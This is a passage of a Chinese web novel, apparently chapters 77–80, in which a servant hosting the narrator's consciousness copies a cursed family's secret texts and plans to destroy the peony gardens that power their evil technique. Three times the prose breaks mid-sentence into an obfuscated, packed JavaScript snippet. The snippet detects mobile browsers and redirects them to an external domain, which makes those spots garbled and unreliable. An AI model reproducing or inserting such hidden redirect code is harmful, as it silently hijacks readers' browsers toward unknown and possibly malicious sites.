“你没有家室,一人挣钱一人花,但结合你最近开始省钱的行为,事情就明了了。” “你用了留影石。” 宗翊对小十眯了眯眼:“我说的对不对?” …… 小十身体里,江晏感慨:“这可也太对了吧!” 啾啾:“……停,这不是你的身体,不要这么有代入感好吗。” 江晏攥住它的鸟嘴:“只是看戏激动一下啦。” 而此时,啾啾话中掌控这具身体的小十,终于对着宗翊,微微点了下头。 宗翊唇边的笑容便越勾越大了。 她说:“留影石的价格不便宜啊,高品质的留影石,就更贵了。” “你应该现在手上有一颗留影石,已经被你用来拍密室里的东西了。” “但很可惜,这颗留影石容量不大,只能记录密室中一部分的东西。” “所以,现在你才会攒钱,是为了再买一颗留影石吧。” 这番输出之下,小十彻底放弃抵抗了。 他叹气:“小姐您真是聪明,明察秋毫。” 又伸手去储物袋里掏:“您要看一眼内容吗?” 宗翊却摆摆手,示意他放下:“不必了。” “我最近感觉不太好,今天和你站在这里说话,已经是吃了几副药了。” “实在是没有精力再看这些脏东西了。” 小十依言,把留影石收回了储物袋里。 凉风习习,掀起了宗翊的衣袖。 江晏看着,她确实是比他刚到这个世界时瘦了。 至于脸色却是看不太清,想来是为了见人施过粉黛遮挡的缘故。 宗翊站在风中,抬手一翻,似有红光闪过。 小十定睛一看,几块亮晶晶的,个大饱满而又通体透明的红色留影石就躺在她的掌心。 这可太值钱了,以至于他一时拿不准宗翊的意思。 他只好去看宗翊,努力用眼神表达自己的疑问。 宗翊却不耐烦了,伸手往他身前递了递:“快点的,拿走。” 小十连忙道谢,摸着留影石的边缘,从她手中取走了。 宗翊便放下手,道:“都给你了,用来记录密室里面的内容,多余的就送你了。” 这无异于瞌睡了就有人送枕头,小十大喜,又接续道了几声谢。 宗翊便抱着手,等他谢完了,才开口:“这些密书里,肯定有我们要找的东西。” “你想要何家玩完的原因我不在意,我在意的是,我们现在应该都是在找,使用他家功法后留下的印记。” “凡是邪术,必回反噬,印记就能起到一个标记作用。” 宗翊拍拍小十的肩:“有了进展,告诉我。” 说完,便转身回去了。 77. 印记 宗翊离开了,独留小十一个人在风中凌乱。 ——事情的发展和他预计中的完全不一样,但终归是有了个不错的结果。 小十低头,看向自己的手心。 那里有几块红艳艳的留影石,是刚才宗翊送给他的。 小十看了看,又把掌心合上,将留影石收回了储物袋中。 …… 在这次的密谈之后,果然不出江晏所料,小十又去藏书阁的密室了。 这次,和往常一如既往地顺利。 但此时的小十不会再认为是自己运气好或者是修为精进了,他想着宗翊带来的不知藏在何处的侍卫,不由得有些不好意思了。 但能达到目的就好。 他再次摸到了密室的机关,按下。 面前依旧是熟悉的书架,江晏看去,有几本书被动过了位置,估计是有人来过。 但小十没有发现,他只是用着新的留影石,来记录着后面书架的内容。 密室里安安静静,是那种不说点什么就会内心不安的安静。 江晏听到啾啾说:“你总往那边的书架看什么?” 他无奈:“那几本书被动过了,这孩子没发现,我在用他的视线试图看清是哪几本。” 啾啾:“……但是你俩又不能交流,看清有什么用。” 江晏依然盯着书架:“只是一种能推断未来趋势的心理安慰。” 他眯着眼:“灯油的解除……解除方式?” 随即了然:“估计是何照山在看采玉的事,但很可惜,照目前采玉的状况,他应该是没发现什么解决办法。” “或者是,对他而他,不划算的解决办法。” 在他和啾啾说话间,小十已经用留影石记录了密室内全部的内容,甚至还剩下了三块留影石。 江晏感觉他激动地手都开始抖了。 ……这没出息的样,他想。 如果是在我修亭峰下,必然不会见了这种东西如此激动。 江晏完全没有意识到自己刚才想了什么。 他只知道,小十把何家的秘密藏书从纸质版变成了电子版,轻轻松松全部打包回了栖霞苑,慢慢研究去了。 小十很激动,所以他没有睡觉,而是在熬夜找资料。 江晏被迫与他共同熬夜。 江晏:…… 他的修为毕竟已经很高了,一个晚上不睡觉,算不了什么。 他只是惊讶于小十的勤奋与毅力。 其实这也很好理解。 一方面,控制小十身体的灵魂受了何采玉的恩惠,出于道义和感情,应该尽力; 另一方面,小十与何家又是有着大仇,早弄清秘法,便能早日报仇并解救他们蓄养的“灯油”。 江晏见他翻过留影石里一页页书,看得认真。 灯火跳跃,灯芯朦胧的影子印在那些罪恶的文字上,宝石的红光中,一只素白的手点着一列列字,慢慢读过去。 江晏眉心狂跳,他突然想到了一个从没有设想过的问题。 小十身体里的灵魂,显然没有系统学习过修真界的知识。 他光凭原身体留下来的书,以及蹭采玉的课,才堪堪算入了修真界的门。 然后,何家邪术就对着他劈头盖脸地杂了下来。 想到此处,江晏的意识体开始微微发抖了: 小十为了报仇,研究何家功法的秘密,这件事真的对吗? 走歪路可比走正道要容易。 那些邪书,对他有没有影响? 他以后要是嫌正常修炼慢,会想起现在他一个字一个字看过去的内容吗? 他会变成一个邪修吗? …… “你在想什么,突然很激动的样子,啾。” 江晏的思绪被打断了。 灰灰花花的小鸟跳上了他意识体的肩头,是啾啾。 江晏抹了把脸,不知为何,他想隐瞒刚才自己的胡思乱想:“没什么。” 但刚说完他就后悔了。 果然,啾啾愤怒了。 它振翅一跃,从江晏的肩头跳到了头顶,甚至声音都变尖锐了:“没什么?江晏你睁着眼说瞎话!” “你不知道你情绪波动大的时候我是能感知到的吗?” 江晏:…… 他举起双手以示投降。 啾啾才顺着他给的台阶下来:“说吧,怎么了。” 江晏眼神有点飘,他总觉得说出来似乎有点奇怪。 好像他多在意这个还不知道是谁的壳子一样。 但啾啾与他相伴了这么久,他还是老老实实说:“我想,他看了这么多邪术,会不会……不太好。” 江晏一边说着,一遍感觉自己真是奇怪极了。 他明明可以说“会不会变成邪修”,但就不想说那两个字。 似乎一说出口,就会改变一个人的命运一样。 简直荒唐又毫无逻辑,江晏快被自己异于往常的思路气笑了。 他最终将此归结于现在这个壳子熬夜熬多了——连带着他自己的脑子也不好用了。 啾啾却没看出他内心的翻江倒海。 它只是瞪着一双豆眼,仰头看着他,不解极了:“你在担心这个?” 江晏:“……嗯。” 啾啾:“放心吧,没事的。” 江晏:“那你给我一个没事理由。” 啾啾在意识海中,伸出翅膀指指天地:“你能不能好好想想,你从踏进合江宗大门的那天,一直到你被雷劈了的时候,这世界上,有出现过什么大魔大邪吗?” 江晏:…… 完了,他居然没想到这个。 招笑。 不过修真界那些年确实太平,看来小十是没什么变坏的可能性了。 但江晏要面子。 他在嘴硬:“但是我有次出任务,那陨铁还被人抢了呢。” “那人挡着脸,一看就不是什么好东西!” 啾啾:“你歇歇吧,什么陈年烂谷子的事,亏你还记到现在,多大了。” 江晏:…… 他沉默了,转过头去看小十在做什么。 视线里,小十依旧在对着那几块留影石研究。 通过身体感官共享,江晏已经能感受到他眼睛开始发酸了。 但他目前才看了新记录内容的八分之一。 而且还是在几乎通宵的情况下。 江晏看小十最终还是把留影石收起来,上床睡觉去了——要想浏览完这些内容,少说也得一旬的时间。 虽然说采玉还昏迷着,小十自己也报仇心切,但却是快不得的。 太快了,没准会落下关于“印记”的内容,最后反而要从头继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902388|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻找。 和江晏想得一样,小十自己应该也是意识到了这个问题,后面几天,江晏见他看书的速度稳定了很多。 反正他现在不用跟着采玉去上课了,便把这些时间都用来研究何家的秘密,便大大省去了晚上熬夜的时间。 如此过了七八天,事情终于有了进展。 那是一个普通的上午,小十窝在栖霞苑自己居室的案前,翻着留影石。 这枚留影石记录了大半个书架的内容,小十现在所看到的,是一些关于“灯油”与使用者之间联系的书籍。 留影石中,这些书形态各异。 有的已经被翻阅到起了毛边,有的却还是平平展展的样子。 小十合上一本起了毛边的书,那是讲灯油的使用方法的。 江晏旁观了书页大部分内容,他感觉有点恶心。 显然小十也如此觉得。 他站起身,倒了一杯已经失去热度的温茶,喝了下去。 然后又坐回桌前,去看那留影石。 这次是一本平平整整的书了,页缘线条清晰,看来没怎么被使用过。 江晏顺着他的目光,在封皮上看到了几个大字“秘法注意事项”。 小十见了,嘀咕了一句:“居然连注意事项都不看的吗……这是对功法有自信。” 一边说着,一边翻开了首页。 江晏陪他看着。 一柱香的时间过去后。 小十呼吸变紧。 江晏却没有发现,因为此时他的注意力,全都在小十面前的文字上。 “雪泥鸿爪,雁过有痕。” “凡事有迹可循,修法亦如此。诸如功法、招式等,各不相同。” “何氏秘法亦然。” “凡修何氏秘法者,理应详细阅读此书,免受功法不足之处所累,以早日叩问大道。” 江晏就笑了:“功法不足之处,这是在说反噬吧,何家老头真会搞场面话。” 又用手虚指后几字:“还大道,他们这个修法能得道,那修真界还是趁早玩完比较好。” 他输出一番后,顿觉神清气爽,便定定神,继续看小十翻到了下一页。 这一页说了功法反噬的后果。 “有形容枯槁,修为渐退至全无,人目不能转、口不能言,渐僵直如木如石,终肉毁神销之害。” 江晏锐评:“就是说最后人动不了等死啊。” “对于何家这些修了邪术的人,可真是活该了。” 他语气凉凉的:“那么,让我们看看如何做到反噬呢……” 小十在留影石中往下翻了一页,“可能反噬的数种情况”一列字映入眼帘。 江晏对啾啾打了个响指:“看,这就是心有灵犀啊。” 啾啾不想理他。 江晏也不期待它的回应,继续看书。 “啊,无非是常见的那几种嘛。” “和灯油修炼过程中被外力打断;长时间离开灯油的供养;给灯油埋下灯芯的时候没完成整个步骤……” 江晏目光下移了一行,微微顿住了。 他念道: “主人受灯油供养后,丹田近处灵脉会呈牡丹纹样。” “竹城何氏以牡丹为家纹,且园中植古牡丹,形成大阵,辅助族人修习秘法。” “阵毁,受反噬。” 78. 反噬 江晏读完了。 他摸摸下巴,琢磨了一下,对啾啾说:“之前我们是说过何家后面的事吧?” “是有人发现他们家没人进出了,连正常的采买都没有了。” “所以……小十应该是做到了吧。” 江晏看不到小十。 但是他能想象小十此时在灯火中,握着留影石的样子。 江晏想,他是怎么做到的呢。 以一个普通侍卫的身份,终止了这个世界上的某种邪术。 公共的视线里,景物终于动了。 小十一把按灭留影石,胸口起伏,喘着粗气——他是在激动。 是那种事情终于有了进展的激动。 江晏知道,他起初以为关键在于油室中的阵法,为此还打听了很多。 直到有一天,他听见几个仆役在谈论给油室屋顶装修的事,要卸下上面的阵法重新组装。 当时他以为机会来了,问仆役们,那大少爷的修习怎么办。 仆役们却很惊讶,说不受影响啊。 至此,小十关于油室屋顶的探索,失败。 他后面还去了灯油的住处、藏书阁、甚至何照山的居所附近,都一无所获。 但就在现在,他知道的答案。 何家庭院中随处可见的牡丹花,就是和秘法产生关联的地方。 华贵的,柔软的,却又织成了一张网。 江晏听见小十小声说:“原来是这个啊。” “最初到这里时,我还问身边一同被送进何府的人。” “我问他,这是什么花,好看。” “原来,是这样啊。” 何家把他们招进来的原因是家的,花也是假的。 小十叹了口气。 这具身体的意识海中,啾啾拍了拍江晏:“这孩子怎么看起来突然很忧伤?” 江晏长长“嗯”了一声:“你这就不懂了吧。” “何家庭院里的花确实漂亮,我看小朋友在发现真相之后,一边烦闷一边赏花的情况也不少。” “但你现在告诉他,他在何府里为数不多的精神愉悦,也和灯油挂了勾。” “是个人都会忧伤一下的吧,你怎么想不……” 江晏未尽的话在啾啾幽怨的眼神中戛然而止了。 他看着啾啾的翅膀,看着它的鸟爪,沉默片刻:“……你不是人,想不明白也正常。” 啾啾:“我是神器,谢谢。” 江晏无所谓地耸耸肩,又把注意力转移到小十身上。 他看到。 ……小十睡下了? 江晏扶额:“这是发现线索之后太激动,所以睡一觉冷静一下吗?” 他在漆黑的视线里,用意识体挥挥手:“算了,睡吧,孩子都熬了好几个夜了。” 小十的确实睡着了。 江晏感到他呼吸变得绵长,眼睛也在转动,似乎是完全睡熟了。 江晏自己眨眨眼,他现在虽然只是一个意识体,但突然也感觉上下眼皮开始打架了。 ——他跟着小十的身体熬夜,大半个月在陪他看书,不累才是怪事。 那就这样好好睡一觉吧,他想。 在意识陷入黑甜的梦乡之前,江晏心中隐约浮上这样一个念头: 小十这孩子,用功,颇有我几分当年的风范。 合江宗也曾在竹城大选弟子,若小十是自己的同门或后辈…… 但他太累了。 睡意携裹着他下沉,这个念头后半部分没来得及想好,他已经和小十一样,进入了昏睡状态。 翌日。 小十一醒来,便去了宗翊那里,把他昨日在留影石里的所见,和她说了一番。 和他们前两天在庭院中见面不同,这次,宗翊是在内室与小十谈的。 刚进入内室,江晏就感到小十似乎皱起了眉——这次的气氛似乎比上次还要不好。 内室里熏着香,在微甜的味道下,隐约能闻到草药的苦味。 侍女们静默地立在床前,见小十来了,才福了福身子,退到了一旁。 于是,宗翊的身影便出现在了他们的视线里。 她更瘦了些,身后垫着几个抱枕,靠在床头。 头发披着,还没有梳洗,神色中有些怏怏的。 江晏感到小十先是愣了一下。 毕竟,小十是在凡人中长大的。凡人女子的这种状态,是不轻易示人的。 但他很快反应过来,宗翊是宗翊。 她很幸运地能够不受那么多世俗规矩的约束。 可这种幸运也是有限的,它没有给她带了更好的人生,比如健康,比如快乐。 宗翊听见小十的脚步,抬抬眼,轻飘飘地撩了他一眼:“有事?” 小十先点点头。 又看到了她这副昏昏沉沉的样子,怕她看不清,便开口:“是,我看了看,发现了点东西。” 宗翊没说话。 小十有点拿不准她是没有说话的力气,还是在思考要不要听。 于是他便等了几息,见她依旧没说话,又问:“您的身体现在的状况如何?” 这次,是宗翊身边的侍女回话了。 声音有点熟悉,小十看过去,那侍女竟是小五。 刚才她一直低着头,加上内室的灯光昏暗,他一时间没有认出来。 小五叹气,道:“其实不是很好。” “本来小姐身体从娘胎里就没养好,时常需要歇着。” “到了何家,又给何照山生育了一儿一女,更是耗了不少元气。” “大少爷的情况你也知道了,小姐本来不知道何家的事,是发现大少爷修习不对劲时,才连带着了解何家秘法的。” “从那之后,她身体就更不好了。” 江晏见小五抬手,似乎抹了一把眼泪,继续说: “如今大小姐又出了问题,何照山不干人事,把小姐气到了,这才一病不起。” 小五说完了,后退了几步,把床前的位置让给小十。 江晏随着小十上前,对上了宗翊平静的一双眼。 她应该是缓过了劲,积累了一点力气。 她张张口,没有对小五的话作任何评价,而是直接对小十道:“说吧。” 宗翊虽然靠着,但不怒自威的神态一点也没有减弱。 小十下意识地站直了,道:“我找到了何家邪术的印记,是在经脉里会形成牡丹花的样子。” 宗翊眼神动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902389|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。 小十继续说:“而何家种满了院子里的花,就是一个大的阵法。” “只要能破坏,那些使用过邪术的人,就会受到反噬!” 他说完了,便盯着宗翊的神色看。 宗翊慢慢地点点头:“好,我给你一份家里花圃的分布图,你看着计划。” “有需要,随时都可以给栖霞苑说。” 她话音落地,旁边的小五却急忙忙道:“小姐,不可啊!” 小十不解,下意识看向宗翊。 只见宗翊淡淡瞥了一眼小五。 这个眼神其实已经带了一丝警告的意味。 但小五似乎更着急了,她眼神中有着不可置信,最后咬咬牙,上前跪倒在宗翊床前。 “小姐,破坏阵法会对所有修过何家功法的人产生反噬,您三思啊!” 小十意识到了什么,陡然抬头,惊疑不定地看着宗翊。 宗翊却依旧很平静,她说:“我知道了。” 小五却快哭出来了,她似乎已经放弃了劝宗翊,而是看着小十:“你劝劝小姐啊,她也是练过何家秘法的!” 这一瞬间,小十的猜测被证实了,江晏感到,他整个人都僵住了。 那一瞬间,他可能在想,宗翊既然修炼过这功法,为什么还是想毁了何家呢。 似乎看出来了他的内心所想,宗翊的声音传来:“那我给你解释一下吧。” 她靠在床头,懒洋洋地换了一个姿势:“这件事,是一个意外。” “那时候,我刚刚进入何家没多久,和何照山的感情也还算不错。” “当时我们基本天天都会呆在一起,我非常信任他。” “所以当他拿着何家秘法给我分享,还问我要不要一同修炼的时候,我几乎是毫不犹豫地答应了。” “那秘法确实有用,我修炼了几个月,修为可以说是突飞猛进。” “但就在这个时期,我发现了这秘法背后的秘密。” 宗翊看了一眼小十,继续说下去:“当时,何家还没有建造藏书阁里面的密室,我是在何照山的书房里面,几本关于功法的册子。” “应该是他忘记收好了,所以才被进来给他送饭的我在无意之中发现。” “他那时没有在房间里,我便用了很多时间,来阅读这本册子。” “我看完之后,很是花了一段时间才反应过来,刚刚自己看到了什么。” “我一开始感到不可置信,不敢相信自己将要相伴一生的人背地里竟干了这些事。” “然后是愤怒。” 她冷笑了一声:“这种歪门邪道的路子,最后都会有反噬的。” “我不知道他是单纯想和我分享让修为精进的办法,是为了利益把我和他捆绑在一起,但总之,他确实让我在毫不知情的情况下修了邪术。” “这意味着他无视了我的安全,给我未来的人生增加了很大的风险。” “我不相信在真正爱一个人的情况下,会做出这种事情。” “那么,答案就只剩下一个了。” “何照山根本不爱我。” “当然,他也不爱任何人。” “这个懦弱,邪恶的自私鬼,他只爱他自己。” 79. 牡丹 小十静默的站在宗翊面前。 此时此刻,任何语言都显得过于苍白,他不知道该说什么了。 而在他面前,宗翊还在慢慢讲着故事: “这件事发现的太晚了,那个时候,我有了第一个孩子。” “就是现在何家的大少爷。” “他当时也就三岁,已经到了开蒙的年纪。” “我在发现了何照山的秘密后,很是恍惚的一段时间。” “我离开他的书房,往栖霞苑走,路上想到了这个孩子。” “他的年纪已经足够修炼启蒙了。” “为了防止何照山让他修邪术,我开始思考如何把他留在自己身边养着。” “我想了很多,可以是揭穿何照山的秘密,然后把孩子带回自己家。” “就在我自己坐在卧室里,思考具体应该怎么做时,听到了院子外面传来的声音。” “是我的侍女们,她们说,家主您走得太快了,我们还没来得及进去通告夫人呢。” “我内心是有点慌张的,担心他知晓了我看到了他的秘密。” “但是转而一想,那时的他根本没有在书房。” “而且我在看完那些册子后,也把它们放回了该放到的位置。” “想来何照山是不会发现的,我这样安慰自己。” “可是事实证明,我大错特错了。” “他像往常一样走进来,屏退了我的侍女。” “我看见他,脑海中思考找点什么样的话题。” “但是还没有等我开口,他就说,你进过我的书房了。” “是一个十分肯定的语气,我当时背后凉凉的。” “但既然他没有点明,我就依然装下去,我说,我是给你送饭去了,但是你不在书房。” “然后他就盯着我,看了很久。” “我给他看得发毛,问,你是有什么事吗?” “在说出这句话后,何照山的神色变了。” “如果非要形容的话,是找到了一个找茬的理由。” “所以他依旧用肯定的语气说,你翻动我书桌上的东西了。” “我当时说的什么?” 宗翊微微笑了,有些讥讽:“我说,你有没有把它收起来,自然不是什么重要的东西。” “而且,我又是你的夫人,还有什么东西是我看不得的吗?” “他见我顾左右而言他,百般不肯承认,最后终于是耐心耗尽,挑明了和我说。” “他目光沉沉,像是要吃人。” “哦,是已经吃了人,毕竟他们家的这种功法,和吃人也没什么区别了。” “言归正传,何照山问我是不是动了他书桌上的几个册子,看到了不该看的东西。” “当时我还年轻,又从来没有接触过这些,哪里敢承认呢?” “所以最后他气极了,上前掐住了我的脖子。” “一边还大声说,我通过留在书房里的留影石都看到了!” 听到此处,小十终于忍不住嘀咕了一句:“不是,到底是谁会在自己的书房里装留影石!” 宗翊听见了,对他疲惫地笑了笑,居然还接上了话:“当然是何照山这种变态。” 她继续讲着这个家族年代久远的故事:“所以在何照山离开书房又返回之后,查看了他不在书房这段时间里,到底发生了什么事。” “这件事仔细想一想很可怕,一个人在自己家都谨慎到这种程度。” “所以他发现了我知道了他的秘密,也不是什么稀奇事了。” “既然两人捅破了最后一层窗户纸,我也就不装了。” “我当时很气愤,我说,我要把孩子带回宗家扶养。” “何照山却诡异的笑了。” “说出来不怕丢人,”宗翊无奈,“你知道吧,在那种气氛下他露出这个表情,我感觉我马上要被杀人灭口了。” “但是他却给我仔细讲了讲大少爷的情况。” “已经晚了。” “他说,大少爷已经沾上了那种功法。” “我吓得站起来,往门边跑,我说我要现在带着孩子回去。” “何照山就又笑了,他说,你以为何家是想来就来,想走就走的吗?” “他说,大少爷离开了这里,就会遭到反噬。” “也许是我当时的表情过于崩溃了,何照山那天难得话很多,给我洋洋得意地讲了很多关于他们功法的事。” “也幸亏他那时不够成熟,不然我是没有机会知道这些的。” 宗翊抬手,指了指院子:“里面种的花,和功法有关。” “我当时只是知道这是我们不能离开何家的原因。” “但现在你来了,你找到了他们转移那些藏书的地方,收集了这些书的内容。” “所有的线索都可以联系上了。” 宗翊叹了口气:“一切都快要结束了。” “我的身体本来就不好,又被何照山骗着修了邪术。” “再之后,就是我试图逃离他的控制,为了让修为进展更快,吃了不少丹药。” “可能是这些药吃得太杂了,也可能因为身体本来就不好,总之,我的情况是一天不如一天。” “我可能本来就活不了太久了。” 她平静地看着小十:“整个何家就是一场错误,已经错得太久了。” “去做你想做的事吧,让一切在这里结束好了。” 宗翊没有再说话了,眼睛中似乎有些红血丝。 小十在原地僵了很久。 等他再开口时,他说:“那那些没有修炼过的人呢?” 宗翊:“随他们去吧,去哪里都行,能生存下来就行。” 小十点头,又问道:“……那采玉和大少爷怎么办,回宗家吗?” 宗翊一直以来努力保持的平静被打破了。 她抬起双手,发着抖: “大少爷……已经晚了,晚了啊!” “何照山带着他修那秘法已经很多年了,是必然会遭到反噬的。” “而且这些年,何照山一直不怎么允许我去看他。” “他从那么一点,长到现在这么大。” “可是我们分明快和陌生人一样了!” 她的声音有些哑了:“没办法了,只有采玉了。” “采玉她那么小……实在是太小了。” “你把她送回宗家吧。” 这个场面有点煽情了,江晏能感到,小十不是很擅长应对这种场面。 所以小十只是简单点了点头。 但宗翊的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902390|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却亮了,久违的生机在她目光中燃烧。 她说:“事成之后,我从宗家带到何家的东西,你可以分一半。” 小十依旧不知道说什么,继续点头。 宗翊看着他,说:“我知道你在偷偷学很多功法。” “放心,我留下的这些东西够你用来修炼的。” 这句话后,江晏明显感到小十的心跳加快了。 江晏:…… 行吧,是个专注于学习的好孩子。 宗翊见他眼睛微亮,便有些释怀地笑了:“看来你是满意这个条件了。” 小十用手指抵住鼻子:“唔……” 宗翊说:“刚才我说完,你的眼神都不一样了。” 她长长舒了一口气:“你喜欢这些东西,肯接受,我便放心了很多。” “起初我还以为你对这些不感兴趣,还不知道要给你开出什么样的条件呢。” 宗翊这番话说得小十不好意思了,他放在鼻头的手,又转移到了后脑勺上,摸了摸头。 江晏:……看着这手忙脚乱没出息的劲。 宗翊没有再揶揄小十了,而是转过头去,对小五说:“把那牡丹花的地图拿过来吧。” 小五应声退下。 小十看着宗翊,问:“你之前又不知花是与秘法相关,如何会有一副花的地图?” 在昏暗的灯光下,宗翊……宗翊对他翻了个白眼。 一旁,十二的声音响起,清清亮亮的: “十哥,你老糊涂啦!” 江晏感觉小十脚下一个趔趄。 十二继续大声说:“小姐可是何家的家主夫人呢,何家里上上下下的事情,哪件不需要让小姐知晓,让小姐打理?” “府中的各种开支,吃穿用度,简直让人焦头烂额。” 十二指指屋外:“这里面种的花就不需要钱吗?” 已经意识到什么的小十:…… 十二的声音开始委屈了:“我们当然要把这里面的盆景花卉情况统计出来啊,不然怎么采买!” 小十:…… 他彻底沉默了,伸出手擦了擦汗。 这时,小五已经手捧着一个长盒,返回到了宗翊身边。 宗翊抬头看了她一眼,又把眼神转移到小十身上,示意她把盒子递给小十。 小十便上前几步,接过小五手中的长盒。 和江晏想象中一样,只放了花圃分布图的盒子没多少重量,拿在手里轻飘飘的。 小十打开盒子,当着宗翊的面取出来里面的画卷,徐徐展开。 一旁,十二说:“十哥,你这是还要当场验证一下吗?” 小十:“……不是,我只是先看一下。” “要是有什么疑问,正好趁着小姐今天状态还好,为我解答一番。” 说完,便把画卷完全展露在众人面前。 只见上面清晰地显示了何家各个院落的布局,在有花圃的地方,还用不同的颜色标注出来。 可以说是一份非常实用的多功能图了。 一时间,小十有点哭笑不得,他偷偷摸摸费了老大劲打探何家布局时,却不知道宗翊也怀着和他一样毁掉这里的心思。 小十看着地图,说:“多谢小姐,这副地图很清楚。” “我应该没什么疑问了。” 80. 行动 小十这么说,那自然是再好不过了。 宗翊身体本来就不太好,如此便十分放心地让他退下了。 江晏在小十的身体里,拿着画卷,和他一起回到了自己的住处。 小十在桌前坐定,翻开画卷仔细查看。 江晏则是在和啾啾叽叽喳喳。 江晏看着面前弯弯绕绕的画面,道:“在这个地方呆了这么久,终于是有所进展了。” 啾啾:“啾!感觉要到了你们剑修最喜欢的搞事情环节了呢。” 江晏:“……话不能这么说,我们是替天行道。” “我们?你和这个小朋友甚至还没说上一句话呢,别和人家套近乎。”啾啾随口说道。 江晏顿了一下。 啾啾这句话其实没有任何问题,但毫无由来地,他就是感觉很别扭。 他想了想:“你之前不是说过,我附着的东西或人,是会和我产生交集的。” “也就是说,小朋友在未来也许会和我相遇。” “那怎么能说我们是套近乎呢。” 江晏输出结束,心满意足地闭嘴了。 啾啾:“……所以你想起来这个身体是谁了吗?” 江晏:…… 他顾左右而言他,在意识海里,顺着小十的视线指过去:“你快看啊,小朋友好像有思路了。” 这次无语的换成了啾啾。 虽然知道江晏是在转移话题,它还是扭动鸟脖子,看了过去。 小十确实是看起来灵感大爆发的模样,正在有条不紊地忙活着。 他先是取了一张和地图差不多大的纸,附在地图上面,依照下面地图透出的轮廓,只把那些花圃的分布重新描画了一遍。 然后只见他取了一支石笔,在各个花圃之间划拉着。 石笔不会留下墨迹,但划过的地方,会留下浅浅的压痕。 在小十不知道对着这张纸坐了多久之后,他突然站起来,在屋子里转了两圈。 江晏听见他口中自言自语道:“有了,有了!” 说罢,又拿来一只毛笔和一张稍小些的纸。 先是用沾了墨汁的笔把几处园圃勾连起来,又在那张纸上写道: 何照山主室外。 油室外。 大少爷屋前。 …… 江晏看看他写的字,又看看地图,很快就明白了这孩子在做什么。 ——他在制定行动计划。 何家毕竟院落不少,一处院落里,又不可能只有一处花圃。 小十一个人毁去这些,必然会有先后顺序。 他正是根据宗翊给的地图,以及留影石里何家的秘法,才琢磨出了这样一份计划。 这份计划耗时不少,小十最后一笔落下之后,已经是三更天了。 估摸着时间,宗翊应该已经睡下。 江晏见他收好计划,估计是准备明天给宗翊过目。 窗外虫鸣窸窣,一夜过后,小十果然带着这页纸,去了宗翊那里。 宗翊翻来覆去看了几遍,表示写的挺好,照做即可。 小十点头,又道:“我昨日看那地图,见小姐的栖霞苑里也有一处花圃,可否让我先看看?” 宗翊点头,没有说话,只是扬起手指了一个方向,示意他过去便好。 小十得了允许,便放心转身,准备过去了。 他踏出宗翊的房间,门槛处,外面是白茫茫的。 小十跨了过去。 于是他的天亮起来,光照在身上,是不同于室内的温暖。 在他身后,是宗翊断续的咳嗽声。 小十叹了口气,站在原地有些恍然。 但最后,还是提起脚,朝着她刚刚指过的方向去了。 穿过垂花门,越过一方矮墙,面前就是一处花圃。 面积不算大,大约有两个小时的房间那么大。 里面种了牡丹花,和几株蜀葵。 这些花颜色浓艳,颇为绚丽夺目。 小十看着这些花,似乎在思考从哪里下手。 江晏也凭借他的视线看着,一边对啾啾说:“其实还挺好看的。” 啾啾:“嗯,何家还算有些财力,审美也不会太差。” 江晏摸摸下巴:“我是说,突然感觉这些颜色也蛮好看的。” 啾啾猜到了他要说什么:“别想了,和你的修亭峰不搭。” 江晏:…… 他道:“怎么就不合适了?我那里颜色确实是少了些,女孩子们想簪花玩都找不到材料。” 啾啾振翅:“反正弟子们也会去同门那里顺走,用不着你的。” “而且你突然弄这些,很奇怪耶。” 啾啾围着他的意识体飞了两圈:“这几个世界你可是越活越年轻了,所以你还记得自己在合江宗的人设吗?” 江晏又沉默了。 一瞬间,他想到了被自己课业逼得嗷嗷叫的一众弟子,以及不敢和自己开玩笑的同门。 他愤然道:“——那可是我精心打造的人设!” “本来我当峰主时就有人说我年纪小,所以我才把……” 啾啾适时地插嘴:“……才把修亭峰装扮成那种老一辈喜欢的样子。” 江晏:…… 他开始觉得脑仁疼了。 他把目光从意识海中抽离,切换到了小十的视野中。 哦,小十在掘土。 他手中多了一把不知道从哪里弄出来的铲子,弯着腰,正在一下一下地挖着。 小十的速度很快,不一会儿,已经挖了一个大约能盛下半人的坑。 他扬起的泥土,也从一开始干燥飞扬的黄土,变成了微微结块的棕色。 后面有变成了一种粘稠的质感。 江晏通过和小十的感官共享,知道他现在挖得稍微有些费力了。 而花圃职中的根系还在向深处延去。 小十又铲出一份土。 江晏看着,感觉这些土不仅仅是性状,就连颜色也产生了变化。 现在的土,似乎微微泛了些红色。 江晏眨眨眼,试图看得更清楚一点。 ——然后他发现这样没用。 